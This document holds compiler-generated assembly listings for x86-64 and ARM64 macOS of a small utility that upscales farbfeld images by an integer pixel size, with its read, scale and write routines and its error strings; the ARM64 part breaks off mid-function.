pshufd $231, %xmm3, %xmm11 ## xmm11 = xmm3[3,1,2,3]
pblendw $238, %xmm12, %xmm3 ## xmm3 = xmm3[0],xmm12[1,2,3],xmm3[4],xmm12[5,6,7]
pshufd $232, %xmm2, %xmm9 ## xmm9 = xmm2[0,2,2,3]
pshufd $231, %xmm2, %xmm7 ## xmm7 = xmm2[3,1,2,3]
pblendw $238, %xmm12, %xmm2 ## xmm2 = xmm2[0],xmm12[1,2,3],xmm2[4],xmm12[5,6,7]
packusdw %xmm3, %xmm2
pshufd $232, %xmm1, %xmm10 ## xmm10 = xmm1[0,2,2,3]
pshufd $231, %xmm1, %xmm4 ## xmm4 = xmm1[3,1,2,3]
pblendw $238, %xmm12, %xmm1 ## xmm1 = xmm1[0],xmm12[1,2,3],xmm1[4],xmm12[5,6,7]
pshufd $232, %xmm0, %xmm6 ## xmm6 = xmm0[0,2,2,3]
pshufd $231, %xmm0, %xmm3 ## xmm3 = xmm0[3,1,2,3]
pblendw $238, %xmm12, %xmm0 ## xmm0 = xmm0[0],xmm12[1,2,3],xmm0[4],xmm12[5,6,7]
packusdw %xmm1, %xmm0
packusdw %xmm2, %xmm0
pshuflw $212, %xmm8, %xmm1 ## xmm1 = xmm8[0,1,1,3,4,5,6,7]
pshuflw $212, %xmm9, %xmm2 ## xmm2 = xmm9[0,1,1,3,4,5,6,7]
punpckldq %xmm1, %xmm2 ## xmm2 = xmm2[0],xmm1[0],xmm2[1],xmm1[1]
pshuflw $237, %xmm10, %xmm1 ## xmm1 = xmm10[1,3,2,3,4,5,6,7]
pshuflw $237, %xmm6, %xmm6 ## xmm6 = xmm6[1,3,2,3,4,5,6,7]
punpckldq %xmm1, %xmm6 ## xmm6 = xmm6[0],xmm1[0],xmm6[1],xmm1[1]
pblendw $240, %xmm2, %xmm6 ## xmm6 = xmm6[0,1,2,3],xmm2[4,5,6,7]
pshuflw $36, %xmm11, %xmm1 ## xmm1 = xmm11[0,1,2,0,4,5,6,7]
pshuflw $36, %xmm7, %xmm2 ## xmm2 = xmm7[0,1,2,0,4,5,6,7]
punpckldq %xmm1, %xmm2 ## xmm2 = xmm2[0],xmm1[0],xmm2[1],xmm1[1]
pshuflw $226, %xmm4, %xmm1 ## xmm1 = xmm4[2,0,2,3,4,5,6,7]
pshuflw $226, %xmm3, %xmm5 ## xmm5 = xmm3[2,0,2,3,4,5,6,7]
punpckldq %xmm1, %xmm5 ## xmm5 = xmm5[0],xmm1[0],xmm5[1],xmm1[1]
pblendw $240, %xmm2, %xmm5 ## xmm5 = xmm5[0,1,2,3],xmm2[4,5,6,7]
pshuflw $116, %xmm11, %xmm1 ## xmm1 = xmm11[0,1,3,1,4,5,6,7]
pshuflw $116, %xmm7, %xmm2 ## xmm2 = xmm7[0,1,3,1,4,5,6,7]
punpckldq %xmm1, %xmm2 ## xmm2 = xmm2[0],xmm1[0],xmm2[1],xmm1[1]
pshuflw $231, %xmm4, %xmm1 ## xmm1 = xmm4[3,1,2,3,4,5,6,7]
pshuflw $231, %xmm3, %xmm3 ## xmm3 = xmm3[3,1,2,3,4,5,6,7]
punpckldq %xmm1, %xmm3 ## xmm3 = xmm3[0],xmm1[0],xmm3[1],xmm1[1]
pblendw $240, %xmm2, %xmm3 ## xmm3 = xmm3[0,1,2,3],xmm2[4,5,6,7]
pshufb %xmm13, %xmm0
pshufb %xmm13, %xmm6
pshufb %xmm13, %xmm5
pshufb %xmm13, %xmm3
movdqa %xmm5, %xmm1
punpcklwd %xmm3, %xmm1 ## xmm1 = xmm1[0],xmm3[0],xmm1[1],xmm3[1],xmm1[2],xmm3[2],xmm1[3],xmm3[3]
movdqa %xmm0, %xmm2
punpcklwd %xmm6, %xmm2 ## xmm2 = xmm2[0],xmm6[0],xmm2[1],xmm6[1],xmm2[2],xmm6[2],xmm2[3],xmm6[3]
movdqa %xmm2, %xmm4
punpckhdq %xmm1, %xmm4 ## xmm4 = xmm4[2],xmm1[2],xmm4[3],xmm1[3]
punpckldq %xmm1, %xmm2 ## xmm2 = xmm2[0],xmm1[0],xmm2[1],xmm1[1]
punpckhwd %xmm3, %xmm5 ## xmm5 = xmm5[4],xmm3[4],xmm5[5],xmm3[5],xmm5[6],xmm3[6],xmm5[7],xmm3[7]
punpckhwd %xmm6, %xmm0 ## xmm0 = xmm0[4],xmm6[4],xmm0[5],xmm6[5],xmm0[6],xmm6[6],xmm0[7],xmm6[7]
movdqa %xmm0, %xmm1
punpckhdq %xmm5, %xmm1 ## xmm1 = xmm1[2],xmm5[2],xmm1[3],xmm5[3]
punpckldq %xmm5, %xmm0 ## xmm0 = xmm0[0],xmm5[0],xmm0[1],xmm5[1]
movdqu %xmm0, 32(%r15,%rsi,8)
movdqu %xmm1, 48(%r15,%rsi,8)
movdqu %xmm2, (%r15,%rsi,8)
movdqu %xmm4, 16(%r15,%rsi,8)
addq $8, %rsi
cmpq %rsi, %rax
jne LBB3_18
## %bb.19: ## in Loop: Header=BB3_3 Depth=1
cmpq %rax, %r14
je LBB3_2
jmp LBB3_27
LBB3_29:
movq %r15, %rdi
callq _free
addq $56, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__literal8,8byte_literals
.p2align 3 ## -- Begin function main
LCPI4_0:
.quad 0x43e0000000000000 ## double 9.2233720368547758E+18
.section __TEXT,__text,regular,pure_instructions
.globl _main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $184, %rsp
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rsi, %rbx
cmpl $2, %edi
jne LBB4_1
## %bb.2:
xorl %edi, %edi
callq _isatty
testl %eax, %eax
jne LBB4_3
## %bb.5:
movl $1, %edi
callq _isatty
testl %eax, %eax
jne LBB4_6
## %bb.7:
movq 8(%rbx), %rdi
xorl %esi, %esi
callq _strtod
movapd %xmm0, -96(%rbp) ## 16-byte Spill
movq ___stdinp@GOTPCREL(%rip), %rax
movq (%rax), %rsi
leaq -200(%rbp), %rdi
callq _read_ff
## kill: def $eax killed $eax def $rax
testl %eax, %eax
jne LBB4_8
## %bb.15:
movapd -96(%rbp), %xmm0 ## 16-byte Reload
cvttsd2si %xmm0, %rax
movq %rax, %rcx
subsd LCPI4_0(%rip), %xmm0
sarq $63, %rcx
cvttsd2si %xmm0, %rbx
andq %rcx, %rbx
orq %rax, %rbx
movq -200(%rbp), %r14
movq -192(%rbp), %r15
movq %r15, %r13
imulq %rbx, %r13
movq %r13, -216(%rbp)
movq %r14, %rdi
imulq %rbx, %rdi
movq %rdi, -224(%rbp)
imulq %r13, %rdi
movl $8, %esi
callq _calloc
movq %rax, -208(%rbp)
movq %r14, -120(%rbp) ## 8-byte Spill
testq %r14, %r14
movq %rax, -104(%rbp) ## 8-byte Spill
je LBB4_16
## %bb.18:
cmpq $2, %r15
movl $1, %ecx
cmovaeq %r15, %rcx
movq %rcx, -160(%rbp) ## 8-byte Spill
movq -184(%rbp), %rcx
movq %rcx, -56(%rbp) ## 8-byte Spill
leaq -4(%rbx), %rcx
movq %rcx, -96(%rbp) ## 8-byte Spill
shrq $2, %rcx
incq %rcx
movq %rbx, %rsi
andq $-4, %rsi
movl %ecx, %edx
andl $3, %edx
andq $-4, %rcx
movq %rcx, -176(%rbp) ## 8-byte Spill
leaq 112(%rax), %r8
movq %rbx, %rdi
imulq %rbx, %rdi
imulq %r15, %rdi
shlq $3, %rdi
movq %rdi, -112(%rbp) ## 8-byte Spill
leaq (,%rbx,8), %rcx
movq %rcx, -152(%rbp) ## 8-byte Spill
shlq $3, %r13
movq %rax, %r9
addq $16, %r9
movq %rdx, %rdi
shlq $5, %rdi
xorl %ecx, %ecx
movq %rcx, -48(%rbp) ## 8-byte Spill
movq %rax, %r11
movq %r15, %rax
movq %r15, -168(%rbp) ## 8-byte Spill
jmp LBB4_19
.p2align 4, 0x90
LBB4_39: ## in Loop: Header=BB4_19 Depth=1
movq %r15, %rax
movq -144(%rbp), %r8 ## 8-byte Reload
movq -136(%rbp), %r9 ## 8-byte Reload
movq -128(%rbp), %r11 ## 8-byte Reload
LBB4_21: ## in Loop: Header=BB4_19 Depth=1
movq -48(%rbp), %r10 ## 8-byte Reload
incq %r10
movq -112(%rbp), %rcx ## 8-byte Reload
addq %rcx, %r8
addq %rcx, %r9
addq %rcx, %r11
movq %r10, %rcx
movq %r10, -48(%rbp) ## 8-byte Spill
cmpq -120(%rbp), %r10 ## 8-byte Folded Reload
je LBB4_22
LBB4_19: ## =>This Loop Header: Depth=1
## Child Loop BB4_24 Depth 2
## Child Loop BB4_26 Depth 3
## Child Loop BB4_32 Depth 4
## Child Loop BB4_35 Depth 4
## Child Loop BB4_28 Depth 4
testq %rax, %rax
je LBB4_20
## %bb.23: ## in Loop: Header=BB4_19 Depth=1
movq %r11, -128(%rbp) ## 8-byte Spill
movq %r11, -80(%rbp) ## 8-byte Spill
movq %r9, -136(%rbp) ## 8-byte Spill
movq %r9, -72(%rbp) ## 8-byte Spill
movq %r8, -144(%rbp) ## 8-byte Spill
movq %r8, -64(%rbp) ## 8-byte Spill
xorl %r14d, %r14d
jmp LBB4_24
.p2align 4, 0x90
LBB4_38: ## in Loop: Header=BB4_24 Depth=2
incq %r14
movq -152(%rbp), %rax ## 8-byte Reload
addq %rax, -64(%rbp) ## 8-byte Folded Spill
addq %rax, -72(%rbp) ## 8-byte Folded Spill
addq %rax, -80(%rbp) ## 8-byte Folded Spill
movq -168(%rbp), %r15 ## 8-byte Reload
movq %r15, %rax
cmpq -160(%rbp), %r14 ## 8-byte Folded Reload
je LBB4_39
LBB4_24: ## Parent Loop BB4_19 Depth=1
## => This Loop Header: Depth=2
## Child Loop BB4_26 Depth 3
## Child Loop BB4_32 Depth 4
## Child Loop BB4_35 Depth 4
## Child Loop BB4_28 Depth 4
testq %rbx, %rbx
je LBB4_38
## %bb.25: ## in Loop: Header=BB4_24 Depth=2
imulq -48(%rbp), %rax ## 8-byte Folded Reload
addq %r14, %rax
movq -56(%rbp), %rcx ## 8-byte Reload
movq (%rcx,%rax,8), %r10
movq %r10, %xmm0
pshufd $68, %xmm0, %xmm0 ## xmm0 = xmm0[0,1,0,1]
movq -80(%rbp), %r8 ## 8-byte Reload
movq -72(%rbp), %r11 ## 8-byte Reload
movq -64(%rbp), %r15 ## 8-byte Reload
xorl %r9d, %r9d
jmp LBB4_26
.p2align 4, 0x90
LBB4_37: ## in Loop: Header=BB4_26 Depth=3
incq %r9
addq %r13, %r15
addq %r13, %r11
addq %r13, %r8
cmpq %rbx, %r9
je LBB4_38
LBB4_26: ## Parent Loop BB4_19 Depth=1
## Parent Loop BB4_24 Depth=2
## => This Loop Header: Depth=3
## Child Loop BB4_32 Depth 4
## Child Loop BB4_35 Depth 4
## Child Loop BB4_28 Depth 4
cmpq $4, %rbx
jae LBB4_29
## %bb.27: ## in Loop: Header=BB4_26 Depth=3
xorl %eax, %eax
jmp LBB4_28
.p2align 4, 0x90
LBB4_29: ## in Loop: Header=BB4_26 Depth=3
cmpq $12, -96(%rbp) ## 8-byte Folded Reload
jae LBB4_31
## %bb.30: ## in Loop: Header=BB4_26 Depth=3
xorl %eax, %eax
jmp LBB4_33
.p2align 4, 0x90
LBB4_31: ## in Loop: Header=BB4_26 Depth=3
movq -176(%rbp), %r12 ## 8-byte Reload
xorl %eax, %eax
.p2align 4, 0x90
LBB4_32: ## Parent Loop BB4_19 Depth=1
## Parent Loop BB4_24 Depth=2
## Parent Loop BB4_26 Depth=3
## => This Inner Loop Header: Depth=4
movdqu %xmm0, -112(%r15,%rax,8)
movdqu %xmm0, -96(%r15,%rax,8)
movdqu %xmm0, -80(%r15,%rax,8)
movdqu %xmm0, -64(%r15,%rax,8)
movdqu %xmm0, -48(%r15,%rax,8)
movdqu %xmm0, -32(%r15,%rax,8)
movdqu %xmm0, -16(%r15,%rax,8)
movdqu %xmm0, (%r15,%rax,8)
addq $16, %rax
addq $-4, %r12
jne LBB4_32
LBB4_33: ## in Loop: Header=BB4_26 Depth=3
testq %rdx, %rdx
je LBB4_36
## %bb.34: ## in Loop: Header=BB4_26 Depth=3
leaq (%r11,%rax,8), %rax
xorl %ecx, %ecx
.p2align 4, 0x90
LBB4_35: ## Parent Loop BB4_19 Depth=1
## Parent Loop BB4_24 Depth=2
## Parent Loop BB4_26 Depth=3
## => This Inner Loop Header: Depth=4
movdqu %xmm0, -16(%rax,%rcx)
movdqu %xmm0, (%rax,%rcx)
addq $32, %rcx
cmpq %rcx, %rdi
jne LBB4_35
LBB4_36: ## in Loop: Header=BB4_26 Depth=3
movq %rsi, %rax
cmpq %rbx, %rsi
je LBB4_37
.p2align 4, 0x90
LBB4_28: ## Parent Loop BB4_19 Depth=1
## Parent Loop BB4_24 Depth=2
## Parent Loop BB4_26 Depth=3
## => This Inner Loop Header: Depth=4
movq %r10, (%r8,%rax,8)
incq %rax
cmpq %rax, %rbx
jne LBB4_28
jmp LBB4_37
.p2align 4, 0x90
LBB4_20: ## in Loop: Header=BB4_19 Depth=1
xorl %eax, %eax
jmp LBB4_21
LBB4_22:
movq -56(%rbp), %rbx ## 8-byte Reload
jmp LBB4_17
LBB4_16:
movq -184(%rbp), %rbx
LBB4_17:
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rsi
leaq -224(%rbp), %rdi
callq _write_ff
movq %rbx, %rdi
callq _free
movq -104(%rbp), %rdi ## 8-byte Reload
callq _free
LBB4_4:
xorl %eax, %eax
addq $184, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
LBB4_8:
decl %eax
cmpl $3, %eax
ja LBB4_14
## %bb.9:
leaq LJTI4_0(%rip), %rcx
movslq (%rcx,%rax,4), %rax
addq %rcx, %rax
jmpq *%rax
LBB4_10:
callq _main.cold.2
jmp LBB4_4
LBB4_1:
movq %rbx, %rdi
callq _main.cold.8
jmp LBB4_4
LBB4_3:
callq _main.cold.7
jmp LBB4_4
LBB4_6:
callq _main.cold.6
jmp LBB4_4
LBB4_14:
callq _main.cold.1
jmp LBB4_4
LBB4_11:
callq _main.cold.3
jmp LBB4_4
LBB4_12:
callq _main.cold.4
jmp LBB4_4
LBB4_13:
callq _main.cold.5
jmp LBB4_4
.cfi_endproc
.p2align 2, 0x90
.data_region jt32
.set L4_0_set_10, LBB4_10-LJTI4_0
.set L4_0_set_11, LBB4_11-LJTI4_0
.set L4_0_set_12, LBB4_12-LJTI4_0
.set L4_0_set_13, LBB4_13-LJTI4_0
LJTI4_0:
.long L4_0_set_10
.long L4_0_set_11
.long L4_0_set_12
.long L4_0_set_13
.end_data_region
## -- End function
.p2align 4, 0x90 ## -- Begin function main.cold.1
_main.cold.1: ## @main.cold.1
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
leaq L_.str.8(%rip), %rsi
pushq $1
popq %rdi
xorl %eax, %eax
callq _errx
.cfi_endproc
## -- End function
.p2align 4, 0x90 ## -- Begin function main.cold.2
_main.cold.2: ## @main.cold.2
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
leaq L_.str.4(%rip), %rsi
pushq $1
popq %rdi
xorl %eax, %eax
callq _errx
.cfi_endproc
## -- End function
.p2align 4, 0x90 ## -- Begin function main.cold.3
_main.cold.3: ## @main.cold.3
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
leaq L_.str.5(%rip), %rsi
pushq $1
popq %rdi
xorl %eax, %eax
callq _errx
.cfi_endproc
## -- End function
.p2align 4, 0x90 ## -- Begin function main.cold.4
_main.cold.4: ## @main.cold.4
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
leaq L_.str.6(%rip), %rsi
pushq $1
popq %rdi
xorl %eax, %eax
callq _err
.cfi_endproc
## -- End function
.p2align 4, 0x90 ## -- Begin function main.cold.5
_main.cold.5: ## @main.cold.5
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
leaq L_.str.7(%rip), %rsi
pushq $1
popq %rdi
xorl %eax, %eax
callq _err
.cfi_endproc
## -- End function
.p2align 4, 0x90 ## -- Begin function main.cold.6
_main.cold.6: ## @main.cold.6
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
leaq L_.str.3(%rip), %rsi
pushq $1
popq %rdi
xorl %eax, %eax
callq _errx
.cfi_endproc
## -- End function
.p2align 4, 0x90 ## -- Begin function main.cold.7
_main.cold.7: ## @main.cold.7
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
leaq L_.str.2(%rip), %rsi
pushq $1
popq %rdi
xorl %eax, %eax
callq _errx
.cfi_endproc
## -- End function
.p2align 4, 0x90 ## -- Begin function main.cold.8
_main.cold.8: ## @main.cold.8
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq (%rdi), %rdx
leaq L_.str.1(%rip), %rsi
pushq $1
popq %rdi
xorl %eax, %eax
callq _errx
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "farbfeld"
L_.str.1: ## @.str.1
.asciz "usage: %s [pixel-size] < input.ff > output.ff"
L_.str.2: ## @.str.2
.asciz "refusing to read farfeld image from terminal input."
L_.str.3: ## @.str.3
.asciz "refusing to write farbfeld image to the terminal."
L_.str.4: ## @.str.4
.asciz "bad farbfeld magic value."
L_.str.5: ## @.str.5
.asciz "unexpected end of file."
L_.str.6: ## @.str.6
.asciz "io error"
L_.str.7: ## @.str.7
.asciz "allocation error"
L_.str.8: ## @.str.8
.asciz "unreachable"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _efread ; -- Begin function efread
.p2align 2
_efread: ; @efread
.cfi_startproc
; %bb.0:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov x19, x3
mov x20, x2
bl _fread
cmp x0, x20
b.ne LBB0_2
; %bb.1:
mov w0, #0
b LBB0_3
LBB0_2:
mov x0, x19
bl _ferror
cmp w0, #0
mov w8, #2
cinc w0, w8, ne
LBB0_3:
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.globl _read_ff ; -- Begin function read_ff
.p2align 2
_read_ff: ; @read_ff
.cfi_startproc
; %bb.0:
sub sp, sp, #80
.cfi_def_cfa_offset 80
stp x22, x21, [sp, #32] ; 16-byte Folded Spill
stp x20, x19, [sp, #48] ; 16-byte Folded Spill
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
mov x19, x1
mov x20, x0
Lloh0:
adrp x8, ___stack_chk_guard@GOTPAGE
Lloh1:
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
Lloh2:
ldr x8, [x8]
str x8, [sp, #24]
add x0, sp, #16
mov w1, #1
mov w2, #8
mov x3, x19
bl _fread
cmp x0, #8
b.ne LBB1_9
; %bb.1:
ldr x8, [sp, #16]
mov x9, #24934
movk x9, #25202, lsl #16
movk x9, #25958, lsl #32
movk x9, #25708, lsl #48
cmp x8, x9
b.eq LBB1_3
; %bb.2:
mov w0, #1
b LBB1_10
LBB1_3:
mov w21, #2
add x0, sp, #8
mov w1, #4
mov w2, #2
mov x3, x19
bl _fread
cmp x0, #2
b.ne LBB1_12
; %bb.4:
ldp w8, w9, [sp, #8]
rev w8, w8
rev w9, w9
stp x9, x8, [x20]
umull x21, w9, w8
mov x0, x21
mov w1, #8
bl _calloc
str x0, [x20, #16]
cbz x0, LBB1_13
; %bb.5:
cbz x21, LBB1_14
; %bb.6:
mov x22, #0
LBB1_7: ; =>This Inner Loop Header: Depth=1
mov x0, sp
mov w1, #2
mov w2, #4
mov x3, x19
bl _fread
cmp x0, #4
b.ne LBB1_9
; %bb.8: ; in Loop: Header=BB1_7 Depth=1
mov w0, #0
ldrh w8, [sp]
rev w8, w8
lsr w8, w8, #16
ldr x9, [x20, #16]
add x9, x9, x22
strh w8, [x9]
ldrh w8, [sp, #2]
rev w8, w8
lsr w8, w8, #16
strh w8, [x9, #2]
ldrh w8, [sp, #4]
rev w8, w8
lsr w8, w8, #16
strh w8, [x9, #4]
ldrh w8, [sp, #6]
rev w8, w8
lsr w8, w8, #16
strh w8, [x9, #6]
add x22, x22, #8
subs x21, x21, #1
b.ne LBB1_7
b LBB1_10
LBB1_9:
mov x0, x19
bl _ferror
cmp w0, #0
mov w8, #2
cinc w0, w8, ne
LBB1_10:
ldr x8, [sp, #24]
Lloh3:
adrp x9, ___stack_chk_guard@GOTPAGE
Lloh4:
ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF]
Lloh5:
ldr x9, [x9]
cmp x9, x8
b.ne LBB1_15
; %bb.11:
ldp x29, x30, [sp, #64] ; 16-byte Folded Reload
ldp x20, x19, [sp, #48] ; 16-byte Folded Reload
ldp x22, x21, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #80
ret
LBB1_12:
mov x0, x19
bl _ferror
cmp w0, #0
cinc w0, w21, ne
b LBB1_10
LBB1_13:
mov w0, #4
b LBB1_10
LBB1_14:
mov w0, #0
b LBB1_10
LBB1_15:
bl ___stack_chk_fail
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5
.cfi_endproc
; -- End function
.globl _scale_ff ; -- Begin function scale_ff
.p2align 2
_scale_ff: ; @scale_ff
.cfi_startproc
; %bb.0:
stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 48
stp x20, x19, [sp, #16] ; 16-byte Folded Spill
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
mov x19, x2
mov x20, x1
mov x21, x0
ldp x9, x8, [x0]
mul x8, x8, x2
mul x9, x9, x2
stp x9, x8, [x1]
mul x0, x9, x8
mov w1, #8
bl _calloc
str x0, [x20, #16]
ldr x11, [x21]
cbz x11, LBB2_13
; %bb.1:
mov x8, #0
mov x9, #0
ldr x10, [x21, #8]
mov x13, x10
b LBB2_4
LBB2_2: ; in Loop: Header=BB2_4 Depth=1
ldr x11, [x21]
mov x13, x10
LBB2_3: ; in Loop: Header=BB2_4 Depth=1
add x9, x9, #1
add x8, x8, x19
cmp x9, x11
b.hs LBB2_13
LBB2_4: ; =>This Loop Header: Depth=1
; Child Loop BB2_7 Depth 2
; Child Loop BB2_9 Depth 3
; Child Loop BB2_10 Depth 4
cbz x13, LBB2_3
; %bb.5: ; in Loop: Header=BB2_4 Depth=1
mov x11, #0
mov x12, #0
b LBB2_7
LBB2_6: ; in Loop: Header=BB2_7 Depth=2
add x12, x12, #1
add x11, x11, x19
mov x13, x10
cmp x12, x10
b.hs LBB2_2
LBB2_7: ; Parent Loop BB2_4 Depth=1
; => This Loop Header: Depth=2
; Child Loop BB2_9 Depth 3
; Child Loop BB2_10 Depth 4
cbz x19, LBB2_6
; %bb.8: ; in Loop: Header=BB2_7 Depth=2
mov x10, #0
ldr x14, [x21, #16]
madd x13, x13, x9, x12
ldr x13, [x14, x13, lsl #3]
mov x14, x8
LBB2_9: ; Parent Loop BB2_4 Depth=1
; Parent Loop BB2_7 Depth=2
; => This Loop Header: Depth=3
; Child Loop BB2_10 Depth 4
mov x15, #0
LBB2_10: ; Parent Loop BB2_4 Depth=1
; Parent Loop BB2_7 Depth=2
; Parent Loop BB2_9 Depth=3
; => This Inner Loop Header: Depth=4
ldp x17, x16, [x20, #8]
add x0, x11, x15
madd x17, x14, x17, x0
str x13, [x16, x17, lsl #3]
add x15, x15, #1
cmp x19, x15
b.ne LBB2_10
; %bb.11: ; in Loop: Header=BB2_9 Depth=3
add x10, x10, #1
add x14, x14, #1
cmp x10, x19
b.ne LBB2_9
; %bb.12: ; in Loop: Header=BB2_7 Depth=2
ldr x10, [x21, #8]
b LBB2_6
LBB2_13:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
ldp x20, x19, [sp, #16] ; 16-byte Folded Reload
ldp x22, x21, [sp], #48 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.globl _write_ff ; -- Begin function write_ff
.p2align 2
_write_ff: ; @write_ff
.cfi_startproc
; %bb.0:
sub sp, sp, #112
.cfi_def_cfa_offset 112
stp x28, x27, [sp, #16] ; 16-byte Folded Spill
stp x26, x25, [sp, #32] ; 16-byte Folded Spill
stp x24, x23, [sp, #48] ; 16-byte Folded Spill
stp x22, x21, [sp, #64] ; 16-byte Folded Spill
stp x20, x19, [sp, #80] ; 16-byte Folded Spill
stp x29, x30, [sp, #96] ; 16-byte Folded Spill
add x29, sp, #96
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
.cfi_offset w25, -72
.cfi_offset w26, -80
.cfi_offset w27, -88
.cfi_offset w28, -96
mov x19, x1
mov x20, x0
Lloh6:
adrp x0, l_.str@PAGE
Lloh7:
add x0, x0, l_.str@PAGEOFF
bl _fputs
ldr w8, [x20, #8]
rev w8, w8
str w8, [sp, #12]
add x0, sp, #12
mov w1, #4
mov w2, #1
mov x3, x19
bl _fwrite
ldr w8, [x20]
rev w8, w8
str w8, [sp, #12]
add x0, sp, #12
mov w1, #4
mov w2, #1
mov x3, x19
bl _fwrite
ldr x22, [x20, #8]
lsl x0, x22, #3
bl _malloc
mov x21, x0
ldr x8, [x20]
cbz x8, LBB3_21
; %bb.1:
mov x23, #0
mov x24, #0
add x25, x21, #4
add x26, x21, #6
add x27, x21, #2
b LBB3_3
LBB3_2: ; in Loop: Header=BB3_3 Depth=1
lsl x2, x22, #2
mov x0, x21
mov w1, #2
mov x3, x19
bl _fwrite
ldr x22, [x20, #8]
lsl x1, x22, #3
mov x0, x21
bl _bzero
add x24, x24, #1
ldr x8, [x20]
add x23, x23, #8
cmp x24, x8
b.hs LBB3_21
LBB3_3: ; =>This Loop Header: Depth=1
; Child Loop BB3_19 Depth 2
; Child Loop BB3_17 Depth 2
cbz x22, LBB3_2
; %bb.4: ; in Loop: Header=BB3_3 Depth=1
ldr x8, [x20, #16]
cmp x22, #4
b.lo LBB3_15
; %bb.5: ; in Loop: Header=BB3_3 Depth=1
mov x9, #0
sub x11, x22, #1
cmp xzr, x11, lsr #61
cset w10, ne
lsl x11, x11, #3
add x12, x25, x11
cmp x12, x25
b.lo LBB3_16
; %bb.6: ; in Loop: Header=BB3_3 Depth=1
tbnz w10, #0, LBB3_16
; %bb.7: ; in Loop: Header=BB3_3 Depth=1
add x12, x26, x11
cmp x12, x26
b.lo LBB3_16
; %bb.8: ; in Loop: Header=BB3_3 Depth=1
tbnz w10, #0, LBB3_16
; %bb.9: ; in Loop: Header=BB3_3 Depth=1
add x12, x27, x11
cmp x12, x27
b.lo LBB3_16
; %bb.10: ; in Loop: Header=BB3_3 Depth=1
tbnz w10, #0, LBB3_16
; %bb.11: ; in Loop: Header=BB3_3 Depth=1
add x11, x21, x11
cmp x11, x21
b.lo LBB3_16
; %bb.12: ; in Loop: Header=BB3_3 Depth=1
tbnz w10, #0, LBB3_16
; %bb.13: ; in Loop: Header=BB3_3 Depth=1
lsl x9, x24, #3
add x10, x9, #8
madd x10, x22, x10, x8
cmp x21, x10
b.hs LBB3_18
; %bb.14: ; in Loop: Header=BB3_3 Depth=1
add x10, x21, x22, lsl #3
madd x9, x22, x9, x8
cmp x9, x10
b.hs LBB3_18
LBB3_15: ; in Loop: Header=BB3_3 Depth=1
mov x9, #0
LBB3_16: ; in Loop: Header=BB3_3 Depth=1
sub x10, x22, x9
add x11, x25, x9, lsl #3
madd x9, x22, x24, x9
add x8, x8, x9, lsl #3
add x8, x8, #4
LBB3_17: ; Parent Loop BB3_3 Depth=1
; => This Inner Loop Header: Depth=2
ldurh w9, [x8, #-4]
ldurh w12, [x8, #-2]
ldrh w13, [x8]
ldrh w14, [x8, #2]
